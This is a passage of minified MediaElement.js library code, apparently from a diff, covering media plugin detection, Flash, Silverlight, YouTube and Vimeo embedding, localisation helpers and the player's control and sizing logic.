this.hasAttribute(a)?this.attributes[a]:""},setAttribute:function(a,b){this.attributes[a]=b},remove:function(){mejs.Utility.removeSwf(this.pluginElement.id),mejs.MediaPluginBridge.unregisterPluginElement(this.pluginElement.id)}},mejs.MediaPluginBridge={pluginMediaElements:{},htmlMediaElements:{},registerPluginElement:function(a,b,c){this.pluginMediaElements[a]=b,this.htmlMediaElements[a]=c},unregisterPluginElement:function(a){delete this.pluginMediaElements[a],delete this.htmlMediaElements[a]},initPlugin:function(a){var b=this.pluginMediaElements[a],c=this.htmlMediaElements[a];if(b){switch(b.pluginType){case"flash":b.pluginElement=b.pluginApi=document.getElementById(a);break;case"silverlight":b.pluginElement=document.getElementById(b.id),b.pluginApi=b.pluginElement.Content.MediaElementJS}null!=b.pluginApi&&b.success&&b.success(b,c)}},fireEvent:function(a,b,c){var d,e,f,g=this.pluginMediaElements[a];if(g){d={type:b,target:g};for(e in c)g[e]=c[e],d[e]=c[e];f=c.bufferedTime||0,d.target.buffered=d.buffered={start:function(){return 0},end:function(){return f},length:1},g.dispatchEvent(d.type,d)}}},mejs.MediaElementDefaults={mode:"auto",plugins:["flash","silverlight","youtube","vimeo"],enablePluginDebug:!1,httpsBasicAuthSite:!1,type:"",pluginPath:mejs.Utility.getScriptPath(["mediaelement.js","mediaelement.min.js","mediaelement-and-player.js","mediaelement-and-player.min.js"]),flashName:"flashmediaelement.swf",flashStreamer:"",enablePluginSmoothing:!1,enablePseudoStreaming:!1,pseudoStreamingStartQueryParam:"start",silverlightName:"silverlightmediaelement.xap",defaultVideoWidth:480,defaultVideoHeight:270,pluginWidth:-1,pluginHeight:-1,pluginVars:[],timerRate:250,startVolume:.8,success:function(){},error:function(){}},mejs.MediaElement=function(a,b){return mejs.HtmlMediaElementShim.create(a,b)},mejs.HtmlMediaElementShim={create:function(a,b){var c,d,e=mejs.MediaElementDefaults,f="string"==typeof a?document.getElementById(a):a,g=f.tagName.toLowerCase(),h="audio"===g||"video"===g,i=f.getAttribute(h?"src":"href"),j=f.getAttribute("poster"),k=f.getAttribute("autoplay"),l=f.getAttribute("preload"),m=f.getAttribute("controls");for(d in b)e[d]=b[d];return i="undefined"==typeof i||null===i||""==i?null:i,j="undefined"==typeof j||null===j?"":j,l="undefined"==typeof l||null===l||"false"===l?"none":l,k=!("undefined"==typeof k||null===k||"false"===k),m=!("undefined"==typeof m||null===m||"false"===m),c=this.determinePlayback(f,e,mejs.MediaFeatures.supportsMediaTag,h,i),c.url=null!==c.url?mejs.Utility.absolutizeUrl(c.url):"","native"==c.method?(mejs.MediaFeatures.isBustedAndroid&&(f.src=c.url,f.addEventListener("click",function(){f.play()},!1)),this.updateNative(c,e,k,l)):""!==c.method?this.createPlugin(c,e,j,k,l,m):(this.createErrorMessage(c,e,j),this)},determinePlayback:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=[],r={method:"",url:"",htmlMediaElement:a,isVideo:"audio"!=a.tagName.toLowerCase()};if("undefined"!=typeof b.type&&""!==b.type)if("string"==typeof b.type)q.push({type:b.type,url:e});else for(f=0;f<b.type.length;f++)q.push({type:b.type[f],url:e});else if(null!==e)k=this.formatType(e,a.getAttribute("type")),q.push({type:k,url:e});else for(f=0;f<a.childNodes.length;f++)j=a.childNodes[f],1==j.nodeType&&"source"==j.tagName.toLowerCase()&&(e=j.getAttribute("src"),k=this.formatType(e,j.getAttribute("type")),p=j.getAttribute("media"),(!p||!window.matchMedia||window.matchMedia&&window.matchMedia(p).matches)&&q.push({type:k,url:e}));if(!d&&q.length>0&&null!==q[0].url&&this.getTypeFromFile(q[0].url).indexOf("audio")>-1&&(r.isVideo=!1),mejs.MediaFeatures.isBustedAndroid&&(a.canPlayType=function(a){return null!==a.match(/video\/(mp4|m4v)/gi)?"maybe":""}),!(!c||"auto"!==b.mode&&"auto_plugin"!==b.mode&&"native"!==b.mode||mejs.MediaFeatures.isBustedNativeHTTPS&&b.httpsBasicAuthSite===!0)){for(d||(o=document.createElement(r.isVideo?"video":"audio"),a.parentNode.insertBefore(o,a),a.style.display="none",r.htmlMediaElement=a=o),f=0;f<q.length;f++)if("video/m3u8"==q[f].type||""!==a.canPlayType(q[f].type).replace(/no/,"")||""!==a.canPlayType(q[f].type.replace(/mp3/,"mpeg")).replace(/no/,"")||""!==a.canPlayType(q[f].type.replace(/m4a/,"mp4")).replace(/no/,"")){r.method="native",r.url=q[f].url;break}if("native"===r.method&&(null!==r.url&&(a.src=r.url),"auto_plugin"!==b.mode))return r}if("auto"===b.mode||"auto_plugin"===b.mode||"shim"===b.mode)for(f=0;f<q.length;f++)for(k=q[f].type,g=0;g<b.plugins.length;g++)for(l=b.plugins[g],m=mejs.plugins[l],h=0;h<m.length;h++)if(n=m[h],null==n.version||mejs.PluginDetector.hasPluginVersion(l,n.version))for(i=0;i<n.types.length;i++)if(k==n.types[i])return r.method=l,r.url=q[f].url,r;return"auto_plugin"===b.mode&&"native"===r.method?r:(""===r.method&&q.length>0&&(r.url=q[0].url),r)},formatType:function(a,b){return a&&!b?this.getTypeFromFile(a):b&&~b.indexOf(";")?b.substr(0,b.indexOf(";")):b},getTypeFromFile:function(a){a=a.split("?")[0];var b=a.substring(a.lastIndexOf(".")+1).toLowerCase();return(/(mp4|m4v|ogg|ogv|m3u8|webm|webmv|flv|wmv|mpeg|mov)/gi.test(b)?"video":"audio")+"/"+this.getTypeFromExtension(b)},getTypeFromExtension:function(a){switch(a){case"mp4":case"m4v":case"m4a":return"mp4";case"webm":case"webma":case"webmv":return"webm";case"ogg":case"oga":case"ogv":return"ogg";default:return a}},createErrorMessage:function(a,b,c){var d=a.htmlMediaElement,e=document.createElement("div");e.className="me-cannotplay";try{e.style.width=d.width+"px",e.style.height=d.height+"px"}catch(f){}e.innerHTML=b.customError?b.customError:""!==c?'<a href="'+a.url+'"><img src="'+c+'" width="100%" height="100%" /></a>':'<a href="'+a.url+'"><span>'+mejs.i18n.t("Download File")+"</span></a>",d.parentNode.insertBefore(e,d),d.style.display="none",b.error(d)},createPlugin:function(a,b,c,d,e,f){var g,h,i,j=a.htmlMediaElement,k=1,l=1,m="me_"+a.method+"_"+mejs.meIndex++,n=new mejs.PluginMediaElement(m,a.method,a.url),o=document.createElement("div");n.tagName=j.tagName;for(var p=0;p<j.attributes.length;p++){var q=j.attributes[p];1==q.specified&&n.setAttribute(q.name,q.value)}for(h=j.parentNode;null!==h&&"body"!==h.tagName.toLowerCase()&&null!=h.parentNode;){if("p"===h.parentNode.tagName.toLowerCase()){h.parentNode.parentNode.insertBefore(h,h.parentNode);break}h=h.parentNode}switch(a.isVideo?(k=b.pluginWidth>0?b.pluginWidth:b.videoWidth>0?b.videoWidth:null!==j.getAttribute("width")?j.getAttribute("width"):b.defaultVideoWidth,l=b.pluginHeight>0?b.pluginHeight:b.videoHeight>0?b.videoHeight:null!==j.getAttribute("height")?j.getAttribute("height"):b.defaultVideoHeight,k=mejs.Utility.encodeUrl(k),l=mejs.Utility.encodeUrl(l)):b.enablePluginDebug&&(k=320,l=240),n.success=b.success,mejs.MediaPluginBridge.registerPluginElement(m,n,j),o.className="me-plugin",o.id=m+"_container",a.isVideo?j.parentNode.insertBefore(o,j):document.body.insertBefore(o,document.body.childNodes[0]),i=["id="+m,"isvideo="+(a.isVideo?"true":"false"),"autoplay="+(d?"true":"false"),"preload="+e,"width="+k,"startvolume="+b.startVolume,"timerrate="+b.timerRate,"flashstreamer="+b.flashStreamer,"height="+l,"pseudostreamstart="+b.pseudoStreamingStartQueryParam],null!==a.url&&i.push("flash"==a.method?"file="+mejs.Utility.encodeUrl(a.url):"file="+a.url),b.enablePluginDebug&&i.push("debug=true"),b.enablePluginSmoothing&&i.push("smoothing=true"),b.enablePseudoStreaming&&i.push("pseudostreaming=true"),f&&i.push("controls=true"),b.pluginVars&&(i=i.concat(b.pluginVars)),a.method){case"silverlight":o.innerHTML='<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" id="'+m+'" name="'+m+'" width="'+k+'" height="'+l+'" class="mejs-shim"><param name="initParams" value="'+i.join(",")+'" /><param name="windowless" value="true" /><param name="background" value="black" /><param name="minRuntimeVersion" value="3.0.0.0" /><param name="autoUpgrade" value="true" /><param name="source" value="'+b.pluginPath+b.silverlightName+'" /></object>';break;case"flash":mejs.MediaFeatures.isIE?(g=document.createElement("div"),o.appendChild(g),g.outerHTML='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="//download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" id="'+m+'" width="'+k+'" height="'+l+'" class="mejs-shim"><param name="movie" value="'+b.pluginPath+b.flashName+"?x="+new Date+'" /><param name="flashvars" value="'+i.join("&amp;")+'" /><param name="quality" value="high" /><param name="bgcolor" value="#000000" /><param name="wmode" value="transparent" /><param name="allowScriptAccess" value="always" /><param name="allowFullScreen" value="true" /><param name="scale" value="default" /></object>'):o.innerHTML='<embed id="'+m+'" name="'+m+'" play="true" loop="false" quality="high" bgcolor="#000000" wmode="transparent" allowScriptAccess="always" allowFullScreen="true" type="application/x-shockwave-flash" pluginspage="//www.macromedia.com/go/getflashplayer" src="'+b.pluginPath+b.flashName+'" flashvars="'+i.join("&")+'" width="'+k+'" height="'+l+'" scale="default"class="mejs-shim"></embed>';break;case"youtube":var r;-1!=a.url.lastIndexOf("youtu.be")?(r=a.url.substr(a.url.lastIndexOf("/")+1),-1!=r.indexOf("?")&&(r=r.substr(0,r.indexOf("?")))):r=a.url.substr(a.url.lastIndexOf("=")+1),youtubeSettings={container:o,containerId:o.id,pluginMediaElement:n,pluginId:m,videoId:r,height:l,width:k},mejs.PluginDetector.hasPluginVersion("flash",[10,0,0])?mejs.YouTubeApi.createFlash(youtubeSettings):mejs.YouTubeApi.enqueueIframe(youtubeSettings);break;case"vimeo":var s=m+"_player";if(n.vimeoid=a.url.substr(a.url.lastIndexOf("/")+1),o.innerHTML='<iframe src="//player.vimeo.com/video/'+n.vimeoid+"?api=1&portrait=0&byline=0&title=0&player_id="+s+'" width="'+k+'" height="'+l+'" frameborder="0" class="mejs-shim" id="'+s+'" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>',"function"==typeof $f){var t=$f(o.childNodes[0]);t.addEvent("ready",function(){function a(a,b,c,d){var e={type:c,target:b};"timeupdate"==c&&(b.currentTime=e.currentTime=d.seconds,b.duration=e.duration=d.duration),b.dispatchEvent(e.type,e)}$.extend(t,{playVideo:function(){t.api("play")},stopVideo:function(){t.api("unload")},pauseVideo:function(){t.api("pause")},seekTo:function(a){t.api("seekTo",a)},setVolume:function(a){t.api("setVolume",a)},setMuted:function(a){a?(t.lastVolume=t.api("getVolume"),t.api("setVolume",0)):(t.api("setVolume",t.lastVolume),delete t.lastVolume)}}),t.addEvent("play",function(){a(t,n,"play"),a(t,n,"playing")}),t.addEvent("pause",function(){a(t,n,"pause")}),t.addEvent("finish",function(){a(t,n,"ended")}),t.addEvent("playProgress",function(b){a(t,n,"timeupdate",b)}),n.pluginElement=o,n.pluginApi=t,mejs.MediaPluginBridge.initPlugin(m)})}else console.warn("You need to include froogaloop for vimeo to work")}return j.style.display="none",j.removeAttribute("autoplay"),n},updateNative:function(a,b){var c,d=a.htmlMediaElement;for(c in mejs.HtmlMediaElement)d[c]=mejs.HtmlMediaElement[c];return b.success(d,d),d}},mejs.YouTubeApi={isIframeStarted:!1,isIframeLoaded:!1,loadIframeApi:function(){if(!this.isIframeStarted){var a=document.createElement("script");a.src="//www.youtube.com/player_api";var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b),this.isIframeStarted=!0}},iframeQueue:[],enqueueIframe:function(a){this.isLoaded?this.createIframe(a):(this.loadIframeApi(),this.iframeQueue.push(a))},createIframe:function(a){var b=a.pluginMediaElement,c=new YT.Player(a.containerId,{height:a.height,width:a.width,videoId:a.videoId,playerVars:{controls:0},events:{onReady:function(){a.pluginMediaElement.pluginApi=c,mejs.MediaPluginBridge.initPlugin(a.pluginId),setInterval(function(){mejs.YouTubeApi.createEvent(c,b,"timeupdate")},250)},onStateChange:function(a){mejs.YouTubeApi.handleStateChange(a.data,c,b)}}})},createEvent:function(a,b,c){var d={type:c,target:b};if(a&&a.getDuration){b.currentTime=d.currentTime=a.getCurrentTime(),b.duration=d.duration=a.getDuration(),d.paused=b.paused,d.ended=b.ended,d.muted=a.isMuted(),d.volume=a.getVolume()/100,d.bytesTotal=a.getVideoBytesTotal(),d.bufferedBytes=a.getVideoBytesLoaded();var e=d.bufferedBytes/d.bytesTotal*d.duration;d.target.buffered=d.buffered={start:function(){return 0},end:function(){return e},length:1}}b.dispatchEvent(d.type,d)},iFrameReady:function(){for(this.isLoaded=!0,this.isIframeLoaded=!0;this.iframeQueue.length>0;){var a=this.iframeQueue.pop();this.createIframe(a)}},flashPlayers:{},createFlash:function(a){this.flashPlayers[a.pluginId]=a;var b,c="//www.youtube.com/apiplayer?enablejsapi=1&amp;playerapiid="+a.pluginId+"&amp;version=3&amp;autoplay=0&amp;controls=0&amp;modestbranding=1&loop=0";mejs.MediaFeatures.isIE?(b=document.createElement("div"),a.container.appendChild(b),b.outerHTML='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="//download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" id="'+a.pluginId+'" width="'+a.width+'" height="'+a.height+'" class="mejs-shim"><param name="movie" value="'+c+'" /><param name="wmode" value="transparent" /><param name="allowScriptAccess" value="always" /><param name="allowFullScreen" value="true" /></object>'):a.container.innerHTML='<object type="application/x-shockwave-flash" id="'+a.pluginId+'" data="'+c+'" width="'+a.width+'" height="'+a.height+'" style="visibility: visible; " class="mejs-shim"><param name="allowScriptAccess" value="always"><param name="wmode" value="transparent"></object>'},flashReady:function(a){var b=this.flashPlayers[a],c=document.getElementById(a),d=b.pluginMediaElement;d.pluginApi=d.pluginElement=c,mejs.MediaPluginBridge.initPlugin(a),c.cueVideoById(b.videoId);var e=b.containerId+"_callback";window[e]=function(a){mejs.YouTubeApi.handleStateChange(a,c,d)},c.addEventListener("onStateChange",e),setInterval(function(){mejs.YouTubeApi.createEvent(c,d,"timeupdate")},250),mejs.YouTubeApi.createEvent(c,d,"canplay")},handleStateChange:function(a,b,c){switch(a){case-1:c.paused=!0,c.ended=!0,mejs.YouTubeApi.createEvent(b,c,"loadedmetadata");break;case 0:c.paused=!1,c.ended=!0,mejs.YouTubeApi.createEvent(b,c,"ended");break;case 1:c.paused=!1,c.ended=!1,mejs.YouTubeApi.createEvent(b,c,"play"),mejs.YouTubeApi.createEvent(b,c,"playing");break;case 2:c.paused=!0,c.ended=!1,mejs.YouTubeApi.createEvent(b,c,"pause");break;case 3:mejs.YouTubeApi.createEvent(b,c,"progress");break;case 5:}}},window.mejs=mejs,window.MediaElement=mejs.MediaElement,function(a,b){"use strict";var c={locale:{language:b.i18n&&b.i18n.locale.language||"",strings:b.i18n&&b.i18n.locale.strings||{}},ietf_lang_regex:/^(x\-)?[a-z]{2,}(\-\w{2,})?(\-\w{2,})?$/,methods:{}};c.getLanguage=function(){var a=c.locale.language||window.navigator.userLanguage||window.navigator.language;return c.ietf_lang_regex.exec(a)?a:null},"undefined"!=typeof mejsL10n&&(c.locale.language=mejsL10n.language),c.methods.checkPlain=function(a){var b,c,d={"&":"&amp;",'"':"&quot;","<":"&lt;",">":"&gt;"};a=String(a);for(b in d)d.hasOwnProperty(b)&&(c=new RegExp(b,"g"),a=a.replace(c,d[b]));return a},c.methods.t=function(a,b){return c.locale.strings&&c.locale.strings[b.context]&&c.locale.strings[b.context][a]&&(a=c.locale.strings[b.context][a]),c.methods.checkPlain(a)},c.t=function(a,b){if("string"==typeof a&&a.length>0){var d=c.getLanguage();return b=b||{context:d},c.methods.t(a,b)}throw{name:"InvalidArgumentException",message:"First argument is either not a string or empty."}},b.i18n=c}(document,mejs),function(a){"use strict";"undefined"!=typeof mejsL10n&&(a[mejsL10n.language]=mejsL10n.strings)}(mejs.i18n.locale.strings),/*!
+ *
+ * MediaElementPlayer
+ * http://mediaelementjs.com/
+ *
+ * Creates a controller bar for HTML5 <video> add <audio> tags
+ * using jQuery and MediaElement.js (HTML5 Flash/Silverlight wrapper)
+ *
+ * Copyright 2010-2013, John Dyer (http://j.hn/)
+ * License: MIT
+ *
+ */
+"undefined"!=typeof jQuery?mejs.$=jQuery:"undefined"!=typeof ender&&(mejs.$=ender),function(a){mejs.MepDefaults={poster:"",showPosterWhenEnded:!1,defaultVideoWidth:480,defaultVideoHeight:270,videoWidth:-1,videoHeight:-1,defaultAudioWidth:400,defaultAudioHeight:30,defaultSeekBackwardInterval:function(a){return.05*a.duration},defaultSeekForwardInterval:function(a){return.05*a.duration},setDimensions:!0,audioWidth:-1,audioHeight:-1,startVolume:.8,loop:!1,autoRewind:!0,enableAutosize:!0,alwaysShowHours:!1,showTimecodeFrameCount:!1,framesPerSecond:25,autosizeProgress:!0,alwaysShowControls:!1,hideVideoControlsOnLoad:!1,clickToPlayPause:!0,iPadUseNativeControls:!1,iPhoneUseNativeControls:!1,AndroidUseNativeControls:!1,features:["playpause","current","progress","duration","tracks","volume","fullscreen"],isVideo:!0,enableKeyboard:!0,pauseOtherPlayers:!0,keyActions:[{keys:[32,179],action:function(a,b){b.paused||b.ended?a.play():a.pause()}},{keys:[38],action:function(a,b){a.container.find(".mejs-volume-slider").css("display","block"),a.isVideo&&(a.showControls(),a.startControlsTimer());var c=Math.min(b.volume+.1,1);b.setVolume(c)}},{keys:[40],action:function(a,b){a.container.find(".mejs-volume-slider").css("display","block"),a.isVideo&&(a.showControls(),a.startControlsTimer());var c=Math.max(b.volume-.1,0);b.setVolume(c)}},{keys:[37,227],action:function(a,b){if(!isNaN(b.duration)&&b.duration>0){a.isVideo&&(a.showControls(),a.startControlsTimer());var c=Math.max(b.currentTime-a.options.defaultSeekBackwardInterval(b),0);b.setCurrentTime(c)}}},{keys:[39,228],action:function(a,b){if(!isNaN(b.duration)&&b.duration>0){a.isVideo&&(a.showControls(),a.startControlsTimer());var c=Math.min(b.currentTime+a.options.defaultSeekForwardInterval(b),b.duration);b.setCurrentTime(c)}}},{keys:[70],action:function(a){"undefined"!=typeof a.enterFullScreen&&(a.isFullScreen?a.exitFullScreen():a.enterFullScreen())}},{keys:[77],action:function(a){a.container.find(".mejs-volume-slider").css("display","block"),a.isVideo&&(a.showControls(),a.startControlsTimer()),a.setMuted(a.media.muted?!1:!0)}}]},mejs.mepIndex=0,mejs.players={},mejs.MediaElementPlayer=function(b,c){if(!(this instanceof mejs.MediaElementPlayer))return new mejs.MediaElementPlayer(b,c);var d=this;return d.$media=d.$node=a(b),d.node=d.media=d.$media[0],"undefined"!=typeof d.node.player?d.node.player:(d.node.player=d,"undefined"==typeof c&&(c=d.$node.data("mejsoptions")),d.options=a.extend({},mejs.MepDefaults,c),d.id="mep_"+mejs.mepIndex++,mejs.players[d.id]=d,d.init(),d)},mejs.MediaElementPlayer.prototype={hasFocus:!1,controlsAreVisible:!0,init:function(){var b=this,c=mejs.MediaFeatures,d=a.extend(!0,{},b.options,{success:function(a,c){b.meReady(a,c)},error:function(a){b.handleError(a)}}),e=b.media.tagName.toLowerCase();if(b.isDynamic="audio"!==e&&"video"!==e,b.isVideo=b.isDynamic?b.options.isVideo:"audio"!==e&&b.options.isVideo,c.isiPad&&b.options.iPadUseNativeControls||c.isiPhone&&b.options.iPhoneUseNativeControls)b.$media.attr("controls","controls"),c.isiPad&&null!==b.media.getAttribute("autoplay")&&b.play();else if(c.isAndroid&&b.options.AndroidUseNativeControls);else{b.$media.removeAttr("controls");var f=mejs.i18n.t(b.isVideo?"Video Player":"Audio Player");if(a('<span class="mejs-offscreen">'+f+"</span>").insertBefore(b.$media),b.container=a('<div id="'+b.id+'" class="mejs-container '+(mejs.MediaFeatures.svg?"svg":"no-svg")+'" tabindex="0" role="application" aria-label="'+f+'"><div class="mejs-inner"><div class="mejs-mediaelement"></div><div class="mejs-layers"></div><div class="mejs-controls"></div><div class="mejs-clear"></div></div></div>').addClass(b.$media[0].className).insertBefore(b.$media).focus(function(){if(!b.controlsAreVisible){b.showControls(!0);var a=b.container.find(".mejs-playpause-button > button");a.focus()}}),b.container.addClass((c.isAndroid?"mejs-android ":"")+(c.isiOS?"mejs-ios ":"")+(c.isiPad?"mejs-ipad ":"")+(c.isiPhone?"mejs-iphone ":"")+(b.isVideo?"mejs-video ":"mejs-audio ")),c.isiOS){var g=b.$media.clone();b.container.find(".mejs-mediaelement").append(g),b.$media.remove(),b.$node=b.$media=g,b.node=b.media=g[0]}else b.container.find(".mejs-mediaelement").append(b.$media);b.controls=b.container.find(".mejs-controls"),b.layers=b.container.find(".mejs-layers");var h=b.isVideo?"video":"audio",i=h.substring(0,1).toUpperCase()+h.substring(1);b.width=b.options[h+"Width"]>0||b.options[h+"Width"].toString().indexOf("%")>-1?b.options[h+"Width"]:""!==b.media.style.width&&null!==b.media.style.width?b.media.style.width:null!==b.media.getAttribute("width")?b.$media.attr("width"):b.options["default"+i+"Width"],b.height=b.options[h+"Height"]>0||b.options[h+"Height"].toString().indexOf("%")>-1?b.options[h+"Height"]:""!==b.media.style.height&&null!==b.media.style.height?b.media.style.height:null!==b.$media[0].getAttribute("height")?b.$media.attr("height"):b.options["default"+i+"Height"],b.setPlayerSize(b.width,b.height),d.pluginWidth=b.width,d.pluginHeight=b.height}mejs.MediaElement(b.$media[0],d),"undefined"!=typeof b.container&&b.controlsAreVisible&&b.container.trigger("controlsshown")},showControls:function(a){var b=this;a="undefined"==typeof a||a,b.controlsAreVisible||(a?(b.controls.css("visibility","visible").stop(!0,!0).fadeIn(200,function(){b.controlsAreVisible=!0,b.container.trigger("controlsshown")}),b.container.find(".mejs-control").css("visibility","visible").stop(!0,!0).fadeIn(200,function(){b.controlsAreVisible=!0})):(b.controls.css("visibility","visible").css("display","block"),b.container.find(".mejs-control").css("visibility","visible").css("display","block"),b.controlsAreVisible=!0,b.container.trigger("controlsshown")),b.setControlsSize())},hideControls:function(b){var c=this;b="undefined"==typeof b||b,!c.controlsAreVisible||c.options.alwaysShowControls||c.keyboardAction||(b?(c.controls.stop(!0,!0).fadeOut(200,function(){a(this).css("visibility","hidden").css("display","block"),c.controlsAreVisible=!1,c.container.trigger("controlshidden")}),c.container.find(".mejs-control").stop(!0,!0).fadeOut(200,function(){a(this).css("visibility","hidden").css("display","block")})):(c.controls.css("visibility","hidden").css("display","block"),c.container.find(".mejs-control").css("visibility","hidden").css("display","block"),c.controlsAreVisible=!1,c.container.trigger("controlshidden")))},controlsTimer:null,startControlsTimer:function(a){var b=this;a="undefined"!=typeof a?a:1500,b.killControlsTimer("start"),b.controlsTimer=setTimeout(function(){b.hideControls(),b.killControlsTimer("hide")},a)},killControlsTimer:function(){var a=this;null!==a.controlsTimer&&(clearTimeout(a.controlsTimer),delete a.controlsTimer,a.controlsTimer=null)},controlsEnabled:!0,disableControls:function(){var a=this;a.killControlsTimer(),a.hideControls(!1),this.controlsEnabled=!1},enableControls:function(){var a=this;a.showControls(!1),a.controlsEnabled=!0},meReady:function(b,c){var d,e,f=this,g=mejs.MediaFeatures,h=c.getAttribute("autoplay"),i=!("undefined"==typeof h||null===h||"false"===h);if(!f.created){if(f.created=!0,f.media=b,f.domNode=c,!(g.isAndroid&&f.options.AndroidUseNativeControls||g.isiPad&&f.options.iPadUseNativeControls||g.isiPhone&&f.options.iPhoneUseNativeControls)){f.buildposter(f,f.controls,f.layers,f.media),f.buildkeyboard(f,f.controls,f.layers,f.media),f.buildoverlays(f,f.controls,f.layers,f.media),f.findTracks();for(d in f.options.features)if(e=f.options.features[d],f["build"+e])try{f["build"+e](f,f.controls,f.layers,f.media)}catch(j){}f.container.trigger("controlsready"),f.setPlayerSize(f.width,f.height),f.setControlsSize(),f.isVideo&&(mejs.MediaFeatures.hasTouch?f.$media.bind("touchstart",function(){f.controlsAreVisible?f.hideControls(!1):f.controlsEnabled&&f.showControls(!1)}):(f.clickToPlayPauseCallback=function(){f.options.clickToPlayPause&&(f.media.paused?f.play():f.pause())},f.media.addEventListener("click",f.clickToPlayPauseCallback,!1),f.container.bind("mouseenter mouseover",function(){f.controlsEnabled&&(f.options.alwaysShowControls||(f.killControlsTimer("enter"),f.showControls(),f.startControlsTimer(2500)))}).bind("mousemove",function(){f.controlsEnabled&&(f.controlsAreVisible||f.showControls(),f.options.alwaysShowControls||f.startControlsTimer(2500))}).bind("mouseleave",function(){f.controlsEnabled&&(f.media.paused||f.options.alwaysShowControls||f.startControlsTimer(1e3))})),f.options.hideVideoControlsOnLoad&&f.hideControls(!1),i&&!f.options.alwaysShowControls&&f.hideControls(),f.options.enableAutosize&&f.media.addEventListener("loadedmetadata",function(a){f.options.videoHeight<=0&&null===f.domNode.getAttribute("height")&&!isNaN(a.target.videoHeight)&&(f.setPlayerSize(a.target.videoWidth,a.target.videoHeight),f.setControlsSize(),f.media.setVideoSize(a.target.videoWidth,a.target.videoHeight))},!1)),b.addEventListener("play",function(){var a;for(a in mejs.players){var b=mejs.players[a];b.id==f.id||!f.options.pauseOtherPlayers||b.paused||b.ended||b.pause(),b.hasFocus=!1}f.hasFocus=!0},!1),f.media.addEventListener("ended",function(){if(f.options.autoRewind)try{f.media.setCurrentTime(0),window.setTimeout(function(){a(f.container).find(".mejs-overlay-loading").parent().hide()},20)}catch(b){}f.media.pause(),f.setProgressRail&&f.setProgressRail(),f.setCurrentRail&&f.setCurrentRail(),f.options.loop?f.play():!f.options.alwaysShowControls&&f.controlsEnabled&&f.showControls()},!1),f.media.addEventListener("loadedmetadata",function(){f.updateDuration&&f.updateDuration(),f.updateCurrent&&f.updateCurrent(),f.isFullScreen||(f.setPlayerSize(f.width,f.height),f.setControlsSize())},!1),f.container.focusout(function(b){if(b.relatedTarget){var c=a(b.relatedTarget);f.keyboardAction&&0===c.parents(".mejs-container").length&&(f.keyboardAction=!1,f.hideControls(!0))}}),setTimeout(function(){f.setPlayerSize(f.width,f.height),f.setControlsSize()},50),f.globalBind("resize",function(){f.isFullScreen||mejs.MediaFeatures.hasTrueNativeFullScreen&&document.webkitIsFullScreen||f.setPlayerSize(f.width,f.height),f.setControlsSize()}),"youtube"==f.media.pluginType&&f.options.autoplay&&f.container.find(".mejs-overlay-play").hide()}i&&"native"==b.pluginType&&f.play(),f.options.success&&("string"==typeof f.options.success?window[f.options.success](f.media,f.domNode,f):f.options.success(f.media,f.domNode,f))}},handleError:function(a){var b=this;b.controls.hide(),b.options.error&&b.options.error(a)},setPlayerSize:function(b,c){var d=this;if(!d.options.setDimensions)return!1;if("undefined"!=typeof b&&(d.width=b),"undefined"!=typeof c&&(d.height=c),d.height.toString().indexOf("%")>0||"100%"===d.$node.css("max-width")||d.$node[0].currentStyle&&"100%"===d.$node[0].currentStyle.maxWidth){var e=function(){return d.isVideo?d.media.videoWidth&&d.media.videoWidth>0?d.media.videoWidth:null!==d.media.getAttribute("width")?d.media.getAttribute("width"):d.options.defaultVideoWidth:d.options.defaultAudioWidth}(),f=function(){return d.isVideo?d.media.videoHeight&&d.media.videoHeight>0?d.media.videoHeight:null!==d.media.getAttribute("height")?d.media.getAttribute("height"):d.options.defaultVideoHeight:d.options.defaultAudioHeight}(),g=d.container.parent().closest(":visible").width(),h=d.container.parent().closest(":visible").height(),i=d.isVideo||!d.options.autosizeProgress?parseInt(g*f/e,10):f;isNaN(i)&&(i=h),"body"===d.container.parent()[0].tagName.toLowerCase()&&(g=a(window).width(),i=a(window).height()),i&&g&&(d.container.width(g).height(i),d.$media.add(d.container.find(".mejs-shim")).width("100%").height("100%"),d.isVideo&&d.media.setVideoSize&&d.media.setVideoSize(g,i),d.layers.children(".mejs-layer").width("100%").height("100%"))}else d.container.width(d.width).height(d.height),d.layers.children(".mejs-layer").width(d.width).height(d.height);var j=d.layers.find(".mejs-overlay-play"),k=j.find(".mejs-overlay-button");j.height(d.container.height()-d.controls.height()),k.css("margin-top","-"+(k.height()/2-d.controls.height()/2).toString()+"px")},setControlsSize:function(){var b=this,c=0,d=0,e=b.controls.find(".mejs-time-rail"),f=b.controls.find(".mejs-time-total"),g=(b.controls.find(".mejs-time-current"),b.controls.find(".mejs-time-loaded"),e.siblings()),h=g.last(),i=null;if(b.container.is(":visible")&&e.length&&e.is(":visible")){b.options&&!b.options.autosizeProgress&&(d=parseInt(e.css("width"),10)),0!==d&&d||(g.each(function(){var b=a(this);"absolute"!=b.css("position")&&b.is(":visible")&&(c+=a(this).outerWidth(!0))}),d=b.controls.width()-c-(e.outerWidth(!0)-e.width()));do e.width(d),f.width(d-(f.outerWidth(!0)-f.width())),"absolute"!=h.css("position")&&(i=h.position(),d--);while(null!==i&&i.top>0&&d>0);b.setProgressRail&&b.setProgressRail(),b.setCurrentRail&&b.setCurrentRail()}},buildposter:function(b,c,d,e){var f=this,g=a('<div class="mejs-poster mejs-layer"></div>').appendTo(d),h=b.$media.attr("poster");""!==b.options.poster&&(h=b.options.poster),h?f.setPoster(h):g.hide(),e.addEventListener("play",function(){g.hide()},!1),b.options.showPosterWhenEnded&&b.options.autoRewind&&e.addEventListener("ended",function(){g.show()},!1)},setPoster:function(b){var c=this,d=c.container.find(".mejs-poster"),e=d.find("img");0===e.length&&(e=a('<img width="100%" height="100%" />').appendTo(d)),e.attr("src",b),d.css({"background-image":"url("+b+")"})},buildoverlays:function(b,c,d,e){var f=this;if(b.isVideo){var g=a('<div class="mejs-overlay mejs-layer"><div class="mejs-overlay-loading"><span></span></div></div>').hide().appendTo(d),h=a('<div class="mejs-overlay mejs-layer"><div class="mejs-overlay-error"></div></div>').hide().appendTo(d),i=a('<div class="mejs-overlay mejs-layer mejs-overlay-play"><div 